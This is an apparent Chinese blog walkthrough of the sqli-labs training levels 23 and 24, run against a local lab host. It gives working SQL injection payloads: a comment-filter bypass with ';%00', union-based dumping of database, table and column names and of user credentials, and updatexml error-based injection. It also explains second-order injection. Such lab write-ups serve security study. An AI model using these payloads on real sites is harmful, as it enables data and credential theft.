sqli lab 23 24

Posted 2020-11-25 幸运儿mnmnmn

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了sqli lab 23 24相关的知识，希望对你有一定的参考价值。

less23 法1

输入用户名和密码 admin ~~admin

http://192.168.50.100/sqli/Less-23/?id=1\' ‘报错说明有注入漏洞

23关和第1关很像，但是观察代码发现他对--+和#都进行了转义，不能再用这种方式注释，将--+ 和 #都进行了替换替换成了空格

可以用新的注释符： “ ;%00 ” 或者and和or语句进行闭合

http://192.168.50.100/sqli/Less-23/?id=1\' ;%00

判断列数

http://192.168.50.100/sqli/Less-23/?id=1\' order by 3 ;%00

http://192.168.50.100/sqli/Less-23/?id=1\' order by 4;%00

添加一个不存在得id值判断显示位置http://192.168.50.100/sqli/Less-23/?id=11111\' union select 1,2,3 ;%00

http://192.168.50.100/sqli/Less-23/?id=0\' union select 1,2,group_concat(schema_name) from information_schema.schemata ;%00 查库名

http://192.168.50.100/sqli/Less-23/?id=0\' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479 ;%00

查表名.

http://192.168.50.100/sqli/Less-23/?id=-1\' union select 1,2, group_concat(column_name) from information_schema.columns where table_name = 0x7573657273 ;%00 查字段名
http://192.168.50.100/sqli/Less-23/?id=0\' union select 1,2,group_concat(concat_ws(\'-\',username,password)) from security.users ;%00 查出字段中所有的值

less23 法2

http://192.168.50.100/sqli/Less-23/?id=0\' order by 10; 这个语句肯定是错误得因为没有闭合

换另一种闭合方式

‘ order by 10 and ’1‘=‘1 返回是正常的，但是由于我们已知肯定没有10列，这是为什么还会返回正常？

‘ order by 10 or ’1‘=‘1 此时使用or，返回依旧正常

为什么呢？

我们回到mysql命令行，执行以下语句：
1. select * from users where id =1 ; 此时返回数据肯定是正常的。
2. select * from users where id =1 and 1=1; 此时返回数据也是正常的。
3. select * from users where id =1 or 1=1;   此时返回了所有的数据。
4. select * from users where id =11111 or 1=1; 此时也是返回了所有的数据。说明执行的时候是 A or B
5. select * from users where id =1 order by 3; 返回正常，肯定正常。
6. select * from users where id =1 order by 3 and 1=1; 此时依旧返回正常。
7. select * from users where id =1 order by 4444 and 1=1;   此时返回正常
8.    select * from users where id =1 order by 4444 or 1=1;   依旧返回正常
9. select * from users where id =1 and 1=1 order by 3; 此时返回正常
10. select * from users where id =1 and 1=1 order by 3333; 返回不存在这个列，也可以理解为正常。
11. select * from users where id =1111 and 1=1 order by 3;   返回为空，但是语句执行正常。

你可以理解为order by 在执行的时候被忽略了，这是由于mysql解析顺序决定的。具体参考：： https://www.cnblogs.com/annsshadow/p/5037667.html

使用order by 10 ; 我们知道永远都不可能有报错的情况，所以对此，less23中建议使用union select进行

使用以下语句判断列数

http://192.168.50.100/sqli/Less-23/?id=-1\'union select 1,2,3 and \'1\' and \'1 返回正确

并且知道修改第一个和第二个位置

http://192.168.50.100/sqli/Less-23/?id=-1\'union select 1,2,3,4 and \'1\' and \'1 4列返回有错误

http://192.168.50.100/sqli/Less-23/?id=-1\'union select 1,(select group_concat(schema_name) from information_schema.schemata),3 and \'1\' and \'1

http://192.168.50.100/sqli/Less-23/?id=-1\'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3 and \'1\' and \'1

http://192.168.50.100/sqli/Less-23/?id=-1\'union select 1，(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273), 3 and \'1\' and \'1

http://192.168.50.100/sqli/Less-23/?id=-1\'union select 1, (select group_concat(concat_ws(0x7e,username,password)) from security.users), 3 and \'1\' and \'1

报错注入：

http://192.168.50.100/sqli/Less-23/?id=1‘ and updatexml(1,concat(0x7e,(database())),1) or ’1‘=‘1 报错出数据库

http://192.168.50.100/sqli/Less-23/?id=1‘ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or ’1‘=‘1

查询所有的数据库，使用limit进行逐个查询。

less24

前置基础知识：二次注入

二次注入可以理解为，攻击者构造的恶意数据存储在数据库后，恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理，但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中，当Web程序调用存储在数据库中的恶意数据并执行SQL查询时，就发生了SQL二次注入。

二次注入，可以概括为以下两步:

第一步：插入恶意数据进行数据库插入数据时，对其中的特殊字符进行了转义处理，在写入数据库的时候又保留了原来的数据。

第二步：引用恶意数据开发者默认存入数据库的数据都是安全的，在进行查询时，直接从数据库中取出恶意数据，没有进行进一步的检验的处理。

例：输入参数 id= 1‘ 传输转义id= 1\\’ 时转义之后无法注入存入数据库为 1’ 再次取出直接闭合